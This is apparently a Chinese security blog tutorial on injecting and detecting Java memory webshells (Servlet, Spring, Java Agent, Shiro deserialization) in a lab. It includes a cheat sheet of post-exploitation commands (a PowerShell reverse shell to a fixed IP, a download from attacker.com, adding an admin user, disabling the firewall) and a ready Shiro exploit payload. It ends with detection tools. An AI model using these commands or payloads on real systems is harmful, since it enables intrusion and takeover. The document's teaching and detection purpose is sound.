【内存马实战查杀】Java系列
本文摘要: 实验环境搭建了多个Java Web工程(ServletJspProject、SpringMemShell等)用于演示不同类型内存马的注入技术,包括Servlet、Spring Controller、Agent等实现方式。通过冰蝎工具演示了从传统文件WebShell到内存马的演变过程,详细分析了内存马的工作原理、使用场景及注入方法(基于JSP、JavaAgent、漏洞利用等)。文章重点展
1、实验环境准备
工具准备
idk 1.8.0 74/idk-11.0.11
maven 3.6.3
tomcat 8.5.72(端口8080会和Bp冲突)
IDEA
Burp Suite+Behinder v4.0.6(冰蝎)
退出杀毒软件!
工程:ServletJspProjec
演示Servlet基本功能和相关类型的内存马,部署到tomcat中运行。注意修改端口号避免冲突)
工程:SpringMemShell
工程描述:演示Spring Controller内存马注入部署到tomcat运行。
Spring的配置文件:applicationContext.xml
SpringMVC的配置文件:dispatcherServet.xml
web工程的配置文件:web.xml
TestController提供了几个接口,ApiController是一个正常接口,用来演示隐藏马
工程:shirodemo
servlet+shiro的web工程
shiro版本1.2.4
部署到Tomcat运行
里面包含了shiro的反序列化漏洞。
工程:shiroattck
这里面包含了恶意的代码,需要注入的内存马。
包含把内存马序列化、加密、Base64编码的工具,与shirodemo配套使用。
工程:Javalnstrument-main
用来演示 Agent 类型的内存马,多 module 工程,包含:
-
AgentDemo:演示 Java Agent 的基本使用;
-
TargetApp:演示被注入的工程,与上述工程配套使用。
工程:memShell for windows v0.2
冰蝎作者提供的注入 Tomcat 的 Agent 内存马,只要 Tomcat 启动就可以在本机注入。
2、webshell的演变
小马
作用:专门用来上传(写入)文件
文件名:xiaomajsp
描述:指定路径、内容,可以写入木马到任意路径
打开ServletJspProject,先配置tomcat,里面内置了小马文件
访问到小马文件的路径
http://localhost:8076/ServletJspProject_war_exploded/upload/xiaoma.jsp
写入一个jsp文件点击上传

可以看到已经生成了jsp文件,那么也可以直接访问到


大马
作用:丰富的网站管理功能
文件名:damajsp,访问密码:password,url:http://localhost:8076/ServletJspProject_war_exploded/upload/dama.jsp

一句话木马
作用:执行操作系统命令
文件名:shell.jsp,访问密码:password
拼接命令
?pwd=admin&cmd=whoami
?pwd=admin&cmd=calc


但是一句话木马很容易被流量检测到,所以得用工具比如冰蝎,加密
url填部署的behinder.jsp 路径,密码默认是rebeyond


总的来说,文件马运行流程就是:
先扫 /upload、/tmp、/backup 这些目录,把 *.jsp 全捞出来;
Tomcat 收到 xxx.jsp → 当场调 javac 把脚本变成 .class → 相当于“现场做炸弹”
.class 被扔进 JVM →此时磁盘上可删,但内存里已生效
容器 new 出一个 Servlet 对象 → 调 jspService() → 命令开始执行
由于 Servlet 生命周期长,只要不重启,文件马一直在线
内存马原理
-
获取上下文环境 Context 对象
-
调用 Context 的方法,动态添加对象
内存马使用场景
-
禁止外连,不能反弹 shell 的情况
-
禁止写入文件的情况
-
写入文件会告警的情况
-
不支持 .jsp 文件解析的情况
3、Servlet基础知识回顾
servlet是一种处理请求的控制器
JSP 与 Servlet 的关系:
-
JSP(Java Server Pages)经转换编译后仍会生成 Servlet,仅支持前端语法。
-
View:JSP,负责内容显示
-
Controller:Servlet,负责处理请求
Servlet 与 Tomcat 的关系
-
Tomcat 内置 Servlet 容器(引擎)
-
Tomcat 提供 HTTP 访问
-
Tomcat 将 HTTP 请求转换为 HttpServletRequest 对象并调用 doGet/doPost,再把 HttpServletResponse 转换为 HTTP 响应内容
Filter
过滤器,过滤请求、过滤响应
1、implements Filter
2、实现doFilter()
3、web.xml或者注解注册,定义拦截路径
Listener代码示例
|
实现类 |
实现接口 |
类型 |
|---|---|---|
|
NumberChangeListener |
ServletContextListener |
监听ServletContext创建和销毁事件 |
|
NumberChangeListener |
HttpSessionListener |
监听HTTP session创建和销毁事件 |
|
PageViewListener |
ServletRequestListener |
监控HTTP请求创建和销毁事件 |
4、内存马分类和演示
4.1、Servlet内存马演示
Listener类型
|
类型 |
触发事件 |
说明 |
|---|---|---|
|
ServletContext监听器 |
服务器的启动跟停止时触发 |
Conext就是Tomcat容器 |
|
Session监听器 |
浏览器第一次连接、浏览器关闭时触发 |
不同的浏览器是不同的Session |
|
Request监听器 |
访问服务时触发 |
Request就是一个请求,存在于请求和响应之间。服务器响应完,Request就销毁了。 |
访问addServlet.jsp文件

访问该地址,表明注入成功,再次访问这个接口

前后不一样,成功回显,说明filter已经被添加到内存里去
访问addListenerjsp文件


访问addFilter.jsp文件


这三个文件都可以用传码的方式注入
4.2、Spring内存马演示
运行springshell文件,访问mappings
这是 Spring 框架的 /mappings 调试端点,显示当前 Web 应用所有 URL 路径 与 控制器方法 的映射关系。
内存马注入成功——/test1 这个接口已被注入代码覆盖

这里看到内存马已驻留:exp.InjectToController 类被动态加载到 JVM,映射关系写入 Spring 上下文。浏览器访问 http://localhost:8093/good?cmd=whoami 即可执行命令(具体参数看注入代码)。成功从内存马隐射到隐藏马。可以执行任何命令/反弹shell。

访问good路径下带cmd参数,可跑 任意 Windows 命令 + PowerShell,善用 | 和 & 可组合出复杂操作,实现 文件操作、横向移动、权限维持 等完整入侵链。
① 任意 Windows 系统命令
cmd
复制
# 查看网络
/good?cmd=ipconfig
# 查看文件
/good?cmd=dir C:\
# 查看进程
/good?cmd=tasklist
# 查看用户
/good?cmd=net user
# 关机
/good?cmd=shutdown -s -t 0
② PowerShell(更强大)
powershell
复制
# Base64 编码绕过
/good?cmd=powershell -enc <base64命令>
# 下载远程文件
/good?cmd=powershell -c "Invoke-WebRequest -Uri http://attacker.com/payload.exe -OutFile C:\temp\p.exe"
# 反弹 Shell
/good?cmd=powershell -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
③ 组合拳(入侵后操作)
cmd
复制
# 创建管理员用户
/good?cmd=net user hacker P@ssw0rd /add & net localgroup administrators hacker /add
# 开启远程桌面
/good?cmd=reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
# 关闭防火墙
/good?cmd=netsh advfirewall set allprofiles state off

/test2 注入了隐形内存马,可执行命令但无文件、无日志,隐蔽性更高,重启后需重新注入。
InvisibleShell 是冰蝎专用内存马,它的特征是:无 URL 映射(不会在 /mappings 里出现);流量加密(浏览器直接访问只返回固定字符串)。

此时mappings显现不出来这个注入的文件
访问api参数加上cmd就能回显

4.3、Agent内存马演示(Java Agent 探针技术)
Java Agent技术应用场景
开发工具调试代码:IDEA debug
Java运行时性能分析:Visual VM、JConsole
Java项目热部署:JRebel、XRebel
Java软件破解:破解Burp Suite
RASP技术:火线洞态IAST
补充说明:Runtime application self - protection(即运行时应用程序自我保护)
Java Agent 主要有以下两种运行方式:
启动时加载(通过 JVM 参数 -javaagent):当启动目标 Java 程序时,在命令行中添加 JVM 参数 -javaagent:xxx.jar来指定 Agent Jar 包。这种方式下,Agent 会借助 premain方法生效:
-
执行时机:目标 JVM 启动过程中,
premain方法会在目标程序的main方法之前执行。 -
典型场景:需要在程序启动阶段就植入逻辑(如字节码增强、全局性能统计、日志埋点等),因执行顺序在
main前,能提前拦截或修改类加载、线程初始化等核心流程。
运行时挂载(Attach 机制):对于已启动的 Java 进程,可通过 Attach 机制“附加”Agent Jar 包。这种方式依赖 agentmain方法:
-
执行时机:目标 JVM 已经处于运行状态,外部工具(或代码)通过进程 ID(PID)找到目标进程,触发 Attach 流程后,
agentmain方法会在目标 JVM 中执行。 -
典型场景:热更新代码、动态开启/关闭监控、线上故障诊断(如 Arthas 的 attach 能力)等——这些需求需在程序运行中“无侵入”注入逻辑,Attach 机制满足“运行时修改 JVM 行为”的诉求。
AgentDemo工程
AgentEntry类:premain方法、agentmain方法
Transformer类:实现ClassFileTransformer接口
打包命令:mvn assembly:assembly
注意AgentTest类打包之前不能放进去,否则会报错,缺tools.jar包
打开AgentDemo项目,先移除agenttest.java

打开AgentDemo,在这个目录下运行mvn assembly:single
打包生成符合 Java Agent 规范的 JAR 包
最终生成的 JAR 是 “合法的 Java Agent 包”—— JVM 能识别、能加载、能执行其中的字节码修改逻辑



此时TargetAppMain进程会被分配一个 PID,JVM 对外暴露 “attach 端口”,允许其他进程(AgentDemo)连接
添加agenttest.java

编译brid.java文件放在d盘中

修改进程号和jar包的路径,通过 Attach 机制将 Agent 注入目标进程,触发字节码修改
在这个文件运行

AgentTest 通过 Attach 连接目标进程 → 目标 JVM 加载 Agent JAR → 执行agentmain → 调用Instrumentation.redefineClasses → 替换Bird类的字节码
看到到targetagent看到有这样的回显,就证明字节码已经替换

整体操作流程的原理:Java Instrumentation(Java 插装)
通过 Attach 机制将 Agent 注入目标 JVM,利用 Instrumentation API 动态修改类字节码,最终改变程序运行行为 —— 这也是 APM 监控(如 SkyWalking)、热部署、动态调试等技术的核心底层原理。
Java Agent 注入 tomcat 内存马演示
1、启动 tomcat 8.5(bin目录下启动startup.bat)保留终端,用来看回显

2、代码:memShell_for_windows_v0.2
冰蝎内存马:https://github.com/rebeyond/memShell注意保存路径里面最好不要有空格和汉字
运行java -jar inject.jar password,看到以下两个终端的回显


访问http://localhost:8080/?pass_the_world=password&model=exec&cmd=whoami
已有回显

5、内存马注入方式
基于 JSP WebShell 植入内存马;
通过 Java Agent 植入内存马;
基于 JavaWeb RCE 漏洞植入内存马Fastjon(反序列化、JNDI)、Spring Cloud Gateway(创建恶意路由)、Log4j2(JNDI)、Shiro(反序列化)、FreeMarker(SSTI)。
这是基于Shiro 反序列化漏洞的内存马注入演示流程,核心逻辑是利用 Shiro 的rememberMe功能(默认使用序列化机制),通过构造恶意序列化数据触发漏洞,最终注入内存马:
- 环境准备:需用 Tomcat8+JDK8 运行
shirodemo,修改server.xml参数是为了避免请求数据(如恶意序列化内容)因大小限制被拦截; - 攻击流程:通过
shiroattack工程生成恶意序列化 Payload,借助rememberMe请求头将 Payload 发送到目标shirodemo; - 验证方式:注入成功后,通过访问指定 URL(带
cmd参数)执行命令(如whoami),验证内存马是否生效。
打开项目shiroattack(jdk版本1.8),运行ClientMemshell.java文件得到payload
生成的payloads是序列化 + AES 加密后的字节数组;
ljt7MPZWxiRIPsPTxNP/5lKt3KQhD++f0FlY/SNckUlavZKHfZcJa3j06A5SwtKQbz/9lKhqsPDPkE5up4Tk9Yhn/PpQLa+Dp6po4tpOFc7QE9THwniBJSbM7hR3d1ztX/gMV8qWOA8zPxj2ftn1JUzPFnjYZOpS0L5JSxExXyvIrvFyQxEntZV+Ne1t5gs0g+6MuY6TKgdDI4O+7EGACgp3C2cpij5TiqQ4vSjM/+tdPlsAG1G5H/H7cutm8ORDN0VjL87Gif9qCawvAb+779FzSUWnkh7d85NJvkH/SnWQq0n73iTS/8oFHDX5gI4uBQiw8OIYA4/RwGLZICPyiZKV06JQPfcXEOiq3J7da/RXPLjY2o5aYC/fAL/N8bhSNDnkVGNqA2IXXdA9MwVneoXC/qlFN6kPZR1qW9M0v7sPg1THbznjhrS5/cB0jxzw0qalpga2SGybUgfxkskCI8Q++A7E7KNPEreLGY4LVJcXbKtOsSITSZZnaWCFTo+IkI1VzfOVmSrZJBR0HPytTpGT7OZYiob2aMfxVsh4ApYiFfFwMEnXQOaWAwKNrSlXTzVcf/JYgGyuF5jOeGlX/XL6FV6azDRgCzbJWDSw4sOkpuAXItVVu6sOsX2MZOeW85ty3qlyLUHteCHNqdFaShkHEoiFjsLZa6fN52YuMcOdC0kXsCEZsqol7tlNdYxQOrdU/M3fWwXjaPrbzLjTllr4K3kfWd3id5tJq+k3gWzv+mRm7rvERUSwjkL1ik0e4Ew64ZAhCTJ+ZHZeKkRArHb49A6Of96hmc34TEjEeLTuvcAXXW6W86i9D/EYVFXUkuTWXmcKo9rhjUMSvzz94/y0W5/4DkD8SzDH5AU0StbTYBvjdL9gqugLQTM1WhVWUUeDYkzrBYvGRiT09rR+gZOKO4iolxirBFn/2oPWPrbC1HtypIoCn5Vjytys+61E6/we7KOI7AUusrkKaY2/cIuMf/YXD4f2KzoniYWNASNFEFO2htosJBF7EvjkBeV3HjL7sUhX2xO3DvubzLwVSq43xA98mtj3R/QOwrads20DfzpeegAe/O3IwBYuWlokwGbF57MP+8KNzgJONjBu3nxKibbuMJfzobPSl97FKm/Oukf68VOEUGKrqpAaf2NNuHvja3no/O58GtsbISbzV9UcYOcAcPjEvaLEN+/k7Vx+DdPE2H9rGQC0w2zSYDLn7NlXrx5wOFca0Q4V2vl+rZgKel5ryNaejOR5pOwyDfO/uIVzFYINJUHS7ssBsSoR5So4IGvnGBLy25F0e2CjGVa7B+CDuZvmcInHbILlVnw+M+aUcH+zhPYzdKWLt/7Fx5aBuvorysvzsVdmSRMRVH+FMXV/fTEkD2uv1hVB/pl/JDaRmM3qMyj1za5Hyf37Cm8H+NkkzE840YAV0O4lO3Y75HHWvqMBsRJsPXr7x1d1R25pE0+NOufVgDaCPkyHqj/83KWXTOjUJyVwrZ0YdLvg5VvmCeyULDnEi2a4xO/QCm+L9xXBEMIClU7tqy/QjgSK7XIJVFrz9p4/vqhbHSk9vS6u2zbbPoskzOnVBazvOczmaoNhRG1swBpbWywZFVvJpnLsN7L782y7fh1z6/uIbZ9VUY+vfQKwEMRGKJcJSljs1D4qfQa0E5LHUjO+e2jytpnIBqhb1bRgvhtRLXqY69F9XlBLfI3Aos1zSDwdpm8LK3hYqh+6FduJwYo5dul0gHGH0wytoAVWOffv4iMYkWkE4wNcysj/3MEiBzPGI1omgONeLsCYcpE4DMx4Crf8PsPanebjIGjRK/9xTsN+NTrIzb2KzGEX76n0Ufe+oPZITl34JSqSO/tGawZnqqNZmuM4SYPaV5qYEnAOkA1bHNNHY6eblzF1MS+fbLi4gAs2UcYh+NuUgfecV7Bwc7GkZJUeLSNbyNJ5acedYi82hwoQpckEzWno75csUcont6wCuUb8VW3QPfEogUmKAPVCW2MXdv889PoEGPGmnlH+qu6mWr9VxtBExHmv9/2WwUn8kmdHPZSa2tgXtH6KiEIAjhCTetiXT8DIXy83IASylMrTtiHdkR66I5R+JEfHasr9w92iUwuw4OMv6LQc0BLfWTky8B5vo2ZmJoniAOqzQdvvLN9tIhttthaZvzSPuP/y3dgs+rqvWgFXdxqXeZBPNcfe2qJFh/7QV4bbPqqJXDanqmeLhxHdfYepPfI1v4COw594i0NkruSUQimoOFT0F2jRyJ1CO44T/TZiQzJb/72R3CBFtVvnCYC1O+dw93Z0TU4RnqZQFzo7RpWGAisKUjrn1mF1YuRkGnh6t30CMr9W7yiyZI2nNR6s/Ko5L1bSU7uA0/97tl1kZgqKqo92Yczca11F8jhTXzl3S5Z3bPXq+kaiBbfsAxfOMMOXpwoYrW0s66aMteU1I3E7CKGDVhPACoUJ7hs9eTWwxqFTQtMcW9s6p3doL8qGJgGfLJT788ksC9GU+Gi3btQx/QYbuLjSDwIRL5NoVmRdJl/fjPDmyivEuuQO3scQ0UdfZvJj+8pFse6A+e4zGRRSSVR4zpLYmyu2DDyhyt871+6iySdc40ItVjeYdtPCC2akjlPhIKl8GABUSpK4ekiL+HTLB3ZwiwSUV/DWW1se+Z/BiAR4iGpzXS06wmQ0R83RQTQA9HP2kqDZ9q/nDQI1DEZ3jnSngaW7FdT5NZii0t1X7qJLFMjoegzkBMvuBKBSzacHYFC7seAqhwRkdQnlf8rDlpfotKhor/2BnLo+bsNkKr84Z8KygIJSU4DM7UVt9c2gGnqWiQ9YmHiNQy/TAWi8rDfVwykp0DggBxXj5M1WsgpLjS20RigLyoiIraESnpNOjsyq7N4aXsH65FIFldRzNqPCUs1opL4HBqAq6gdayOJmJD1fF29BKz3IL93O/cmqAKUiBMQ5tbm7yyQEWXoK08ksixEfFz0D2hlmhyoO8EV4JLBq+gJA0EzjEn+WiyGSObKyzvGXzLMFB8Mh3i3k05oZGioARoOMpsKyERIFnIZQj/5kcswtAUKjGwGLDMBsckqkpKwJbTcsGY7Dn7AIzWzvxXJYuT+3cbOS+/q/zMW3ygOiDpHV4LhOhdXnSlvXj1SA6wYcwbIGX/LQ7P3I5391uwRaiw9lis/hITm3mIifjkVjXQzzJ118jHJHVLfoJAagxnB+zgIICvvO2kW3XqkTsl9omBLWm3/yHHWLVhikH9vDa2rBIicM1Xt8N/BFOpWpUQi2tX2XTw1tdSmiqMXLRq/b8LtU3V4Hhn9T2B+Un55TcrK+Eh0KkvP3vSN8YvkF8IL6xW/g42Idi92Ju4a8J1OCrgcDnXoKUYLvYj8IpDVaE6QG8pm7bifr9wTTuVhgv1QxUCtoskK37At9nl4G9MUgH/cki7I6JKy/P0ECj6T5uxgwKABQYYWes1qoYBAKxE8MOCouT531pzPxJlpVtIhAET8bKcFeF0MKf6d0k8X+fGBD2uR9YfAtHPKAjE7nLd8gCWBOG/zXijeSy814xWCFrU76twrstfh9Rmv3OJptiSCL6svdgAa77A10xoYs3/5s8f32B86a+s549KJRX/c7MgiInvMclReg9rWrFSOB06qRZNUQ0IKYD96bFc7zljrOuTg4j8AtFZGJ434Pa/cY4EcvMk7qmB/G6Q+N6jIZ7c+n4YYs7QCg0HGDM+Dze+0TpnCVk71gR8mVlc8sgsW4Cf1mwh1qGTeu9sSz3Vc2PMJ7xK13+DckfzB0UGghKGM0FVrumA/hbTF/g4be/aOwv7tAtEqvuTn00gjKmKMfpxizYqe8UoRu8u6Y9xY8TjZFpg1jr1IPz2kSYVKJebzFVUd+cuFWak7WO5VX9sv306OQKebo0EefXccMrGHe0SAyDW4dL+nJm843H2O8bWmuZl1qPiO1vCDUV0/zeF4GpMiuyuPFowOWgaL1RFjJKFcobkpVwzPql/bllEMD9qkkOeXCcfLuCV+I06G1a309kEluobIPYxF9SLHm4QtM41JXO0YLjrCNrgcJP/3WNbUp3WOLUC5fN70HjxlMJihZxMiWZJ8rGjmk2+jSGbAZJo+o8f8S/hdlcsgqQpfzv4ESP4QZKGnpvMhKaAnZ6BUActJKxJOYi2bkbCiJAY3k02f7laXJ6WYP6SqPsws7/cvqwbI+03Iko7OijPhQDjzOLM288Plm/UQBQGcqbF7jA0qlGkZVULKtbvycx1xpXweA+pMJkm9us+B80BXPuQlLlpHaqJTSwHyhfnNf0MXohU8ROfCoyK9PE/7yfvVK9xemFvQQhJ3RYpFph7GZe4HyFAaUskJ6ReQPdGRFqe2IdQn2B8O7LjJwp/ab+ZHnoyx3EYlFtRiLfmsCxxXdmdOV+slSm6pQOW/v9jEw/C7hLfd3/TMJF1wC0K5OOUcYS0roTf5LQU9PMKdxcuGLhWmP3ZGuFZf4DFrZi2yLHdAgAqpoL95qoCa5EwqSefrZCDfU0YXa7ctVWOe9Sg6MtppCKETIWqjTnrrHiPEk2F/YgUyrdHrLPWkqGAUjlvBpNn2T6sJqMn0ipmL7K/ES5mQO6RQve+lMQwd8gwDD+mDRjbr6LPAzMEBo2p/A5JxBuODiVkYH/4CtAvxeUE6GdM6INt2gi6pUnOuOL7ex3XjJBIGu3RncRzyvhTyaJwakYmwtuLJYWKBHmLiycQrQoaPW7QBZCfyBTtSVWZk/BcWopiuJv8GnuVd/dwPw0Nbn5muxSUZJih+qOIj1nGrRK1uqsd4f3orVYYcMWVev8kYZoiJ4KWSQNLgGsmJBAhS5rvY5XwEg4jkLuQWm+wL1gYnMv3g5BPzJFei6oW2JbyGEARX5YHwSPVqvYAb0ON0JkE7Z76I4PixJnOAWFYz+QBOLtHVWZHuA2VsR1o5KtYMDIxertejlnYef0oK2Po4PYgko6lOPXeZAya+0+L2NdUHWiqb+tKyYBwHw3gNxoaWm1+NODM/FYGE8Fag0UKOzRImAEi46+byVL2vF4Te5ZwCuptl9VHCMlAHxtZL9J3jX0YQPN8J0TKV/m3HFVTU+G8hhwdzCn1ClfCMb931Cc3XsseKh567M2ITaOq9a/2oCOuKaPMbHswR2bFagOpyHumcC8xw5RoObzdMaCqQqF8/mwU93KGxaT/diB8uKGRQ4phX1Eik/D3soloxryrenjdcZiVcSKs1uViqT+umIM1x+wmkW6dYQd/rHC09oQwmPoM67vvZVLJBvhsVZcmI/Olu6MKVitNp8tMOVbccXyyb/0oPHT1P4kSnmLuGrIJgi5ks89ndTvjbQZjFKd0+52mVCfRbWYjHhiq5bS1tgMpoZY7ox10rFkYaYz4P/UhlNLnazXmCXGuO7jlGJqjHqKIN+DjbgL+jUeos1NX79Wm4Pq8cL6kKmojlwVZA8K+usco/iRJlIYMV/ml/W7tW2lMTzon3NpYeRO+qMFoJGB4wGT8p1WCvD5MGxn+UQyGxnzxGSn9EfQp6AfQPmOV/Q4nDTmKj43Pmzgqvd/Dx+AuOAQrtgW0g2ag1MDXT8RsBu/CBTrbYM34gnuEpiTFiDpLPF5o0aAQ53fTR7fvpmTBp6A0j1JMKPYqzYtUrPdR5LUvqe9975eu5FpVFGafQiXhXxy2NpFJVnKvAX5dcTAtQH48RkVQWWXIOBCVMo946QDbPSTRywaapNToOEBItMHdgvVc0eJKiBuys4t8NbM9gH/NqSeTyW6Plc4AJa21VPcRjup5T3g2AMYPnK7v1FfaFv7FQg3q1WhPO4gw3h9P/pG8tPt+G1Rwx160YrNKjdO6FLQyElUPv4WBDuL4AjadlxxEOK/5E2k+WdHxx42YIe8oxH3KPZ8oJKmeMHrkfmR8kO2UYv9UCbeu9uN6vfVPd6+hNlLgD+QFliZtTn+wDkPkXWGBdaqtuowvZaafJiQANPloVCn4hKqInT4O31V6ea1ZyvTlqIlajCQmj5X4g7pQ/EohNKhlDvgTCiGXUQGK4uxHUbJ6KByDqa9iMvpI2u0F8uS9egbHEZi+u6aIvmEIxczeiKpiu0UdL2MnL+NTQ2lGMDvZGSTKjA8HePSstKiCBG4PhT1Td9IH7Ax+F9/gS+28/pKymNbo/45W51q1Qe1MMhJw/tztqV9GgxMCSaCVJLIzXvkIxNNlz+9jtnpZh2CrPBHHSmC97ZbwugGshN1pdwv3WDtsp4ugsQzjvtSuZyDGYct4Eg2Uh6GpenePABdU3NjbIoM/3ym09HcH+RXpTG5b8GmQ1ZlQoTzrGNMrn0r1YdSxwJsmohmgBvYWvfmddTN3L98PoCpNFaUthyEXNpWcvMtVBVnklRyX8F5+ExWj5VJD+QQVK+Kq8D2vykn5kGK0Hn3Qt04O8lteESqe6w+GJJTiNPMP+IiqVpDtknfcHJH52ohd4vkE3kR1ka2nigphNcxkC2v9z/jLCkOLf76ifl2Ic8VMxn0XmMIEsebiH4lm2h2ddltEOxj7EseiMVK0B366b0fX+SOXnZS0fc1UhHfqmgmCzzDWQAozTXL0xJz9T4cjgSHOlCLNBnkhyXz29666eOZ57L1UEiuvr3SRpM2htdczYlpLEf8OakXf46xEWMDCoZZjRnmfhkCoFzAYkHLjElIadeXhZYiH42zJzYxmyLpErMd9LIZK8MCblYusVRnFZjZYkULV9dZrJbQbIpbGXFZbN/pCsamobDLhFH5vpDIT6pj8+ZVdZoEAIi66fSvOkI36r7OWZK9ZoG1cjXdBUyJDxt6lTwbOqEhlx1QC7M1wQETY5SsF6Fl3IjCV++saCPPUGHaE7lZarF5qE7DDCsksMpSZios0gObKgnLCvqvBU123ElXipmR+QSYH8wSErgrLcDVUjZExMO6cAylKZKJZrhq1mbei0+r6RE2Va9LWv4t7hEOQwKfvknO+qCScu0RqrOlvkjB79y+Gz0UycYk/LHqoGrJPpmksID+Fh8EM3u3TtDf1lRs9Sv85QV7kA1UzAWjpCbBlpvzDQS4RqOkZ+b0t5hQ1J1QX33ssqiSkngyRDp/FAYyGzjSaXSGZZ0sjQSLPPgO61BT6mORQcpey5PzRWGAPVpNOeNVsP/67KB3Gl0QGHKnkv0JQNrIDCkTKb3xwVS5MK8bqaNH3P/wYyi38Oz/s6r/nLBm41MzhOkLsIF8kVRLvz0hiZdHpj95TVYVxuZ6KdQ5sI4mwZJIleWoipP0eKg+PkLmzTwbOQ5JGZP89Ct7guiKKzkwijxZJ294pMD4hZ1TomNW/WPcqbJECV0lpPFk6LBS+amGRnyCoOJyUMdPHGERlcMG5u/oefCO4un2XD9HcjXtK6nQSNDFkgZa6m7ChNXkq/zTSVyPMRzjaF74DrgKNoHE0TXE2EqMFMm3WquRgrD/YCKzu/GRC58d8jbZ21Lc3BlqJuC3BDURuMje6NGBnMIqIcRLwwtuN02YhWTDwIWjVHWFoH+5JgZZKdyO1cOxz+zbE9YIxoQHEIfFCMW4se5umFmZTPArx1unF0n192XnEtuv2en+gw2Oe7QzUYzbByHUD4Q3lvYH8TN77g5qtHtdO3OY3lANbgve3tldo6T66fwMki9ScY2/zTltg+vh1he0X61xUQwosWeXnZI6TyxrSbaNSyR8EyIDV3xc6MmnGJIr/erU6nLybEvhUZUqR1hYPfNtbuSmITrZqPItJ3qzrdIaRoM8ZFqmhekYvheuNbYB0i1zgiDRkV1IYigT80cz0l9tv66GKSTPBWKyUlCb1p2aR7HrEQv9f9ATRgfRXwV2tIvsLaPlP8pt6O9QEGbsKpLc022cB5MxCYVYr9JQ6cghVYNK7DOj6+s9wQAvyBtuyn/NBLuTzAZ5LxHaOMVVlrg8dzrOvBlBgsiKL9o6TTb+Ff6DHxVVRQryUCPouNsIhmN6sUY7PxETPEvUv6zppCDbIzF9HR9E3zcwBIYjRhbOAIb9apHtgPvQIRJubqu33KlQW58rUWRLARLZ++z1gS+o9sCGN4oQ4lkUQrPaNbq0njHU7YZl3ph0V0BWK0mhhTHqdrw16se7AMGjM90r7AD2QAiSBZeFBjMkAv7QLzpMB0YRZgNktdekBvYLSVyvPRSZyk2/ooyr+3OVrd8NuR1k0v6rrGCSj5/UI2Vu+r6DQdHZ+jvPlX45g/ZTu+27IC6K1fHMDYhgrhaexViZaBJv/BUZywQLdn8GuQMQmVxc1auLdYPwHYTzStHkdkxcKJWmIpFiuc1pc7CfxbJZthW6oyRnS01lGWPiHsB00mdQhjcB2HlkZMezldjowTU8Fw1iV8INX7OZdorjokjrJv2xBGtwmgjTC5vZiaK42Q43kF8hoYR09Ty2/jOb9ZZgvGPz2FH3xK81THj5YoUBfLf6nK2qt1e/hSDHvuvAtBYTN+OHqDv2XFJ6lMWkg3CZA7HpUTZOw4irHfGqDwTP8UB+0xCn1jjVwPQRG8Drg9iWJxVkYEhqoKanCIX45VjN9/yeILfc35fDElkaY2X9KST2jtTowUR7bNKK1CJFmJlV+NNwWpH2oyO9Itci+933tMAQCijeh3pT/3pQy5dol8TvTsJKzisWBK6x1KmkVO0PW7zEfTzYyy+aZ98SD6cMuefps38T1gU+OF+VkNrlztm6y82vKIiWfEiZ2NxDBA4DIdbDEiy9jI7icE/b6AyWFZYLGjceIeIDaN6ThOoKCELNYnQRVxBmDuoDSEq4FXsnfR+l7xdvpAH3CIzhwWW5QOvK4IqYe8ogMOGiFBIbUng6Oq4NBxtjxIZe/tCIkA5fEe3MV0XiA+frOt7g8a/5KEmd8x3MFwQs6ou+MrxEOM7+PJwEBv3hR1WkWc7JxU+QrwnGMElfzrvvxG6At3+8X0eW/vkgdDNGC2JqTlSRYLablCKy2nLWCL2TEa8H4JPdeGIaWXBQBaro1951LeA8AqsgDF//VCnruEJCM0yXjMsy53yp7jxGS3YDD5dyQTSy7nuPGXUSpNrmNmrgVX68h1dAxmdXI2p1lCaXdrV9DG9W317bCEB500bIHFfO2n6ra+rS/kK/nUXN7SZW+OXMB2eoCdy7MdR49mg
那么如何用这个payload去攻击这个应用呢

打开shirodemo,先配置tomcat和端口,部署是war expload

登录网址http://localhost:8096/login.jsp,开启抓包

抓包然后在cookie上添加;renmeberMe=
复制刚刚反序列化的漏洞粘贴上去,send

最后访问http://localhost:8096/shiro/login.jsp?cmd=whoami

可以看到已经拿到了很多信息,接下来就可以提权了。
在这里,作者一名安全测试人员,在安全的环境下做实验。提权是高危且违反法律法规、网络安全规范的行为,未经授权对系统进行提权操作属于非法入侵,会严重侵犯他人的合法权益,同时违反《中华人民共和国网络安全法》《刑法》等相关法律,需承担相应的法律责任。
6、内存马检测和查杀
通过 Java 应用的接口,获取 tomcat JVM 里面加载的类
遍历所有类,判断是否为风险类
1) 内存注册,但是磁盘没有文件
2) class 文件里面包含恶意内容
java-memshell-scanner
不支持低版本tomcat
工程:shirodemo运行/ServletJspProject
http://localhost:8096/scanner.jsp
利用Tomcat API删除添加的组件
升级版:https://github.com/xyy-ws/NoAgent-memshell-scanner
https://tttang.com/archive/1390/
可以搜索到有没有内存马

sa-jdi
获取进程号:jps -l

启动 sa-jdi,启动命令java -cp .\sa-jdi.jar sun.jvm.hotspot.HSDB



可以查看 JVM 中所有已加载的类

shell-analyzer
https://github.com/4ra1n/shell-analyzer下载
基于JDK11运行,写一个运行bat

其他工具
cop.jarhttps://github.com/LandGrey/copagent
Arthashttps://github.com/alibaba/arthas
shellpub 河马内存马查杀
更多推荐






所有评论(0)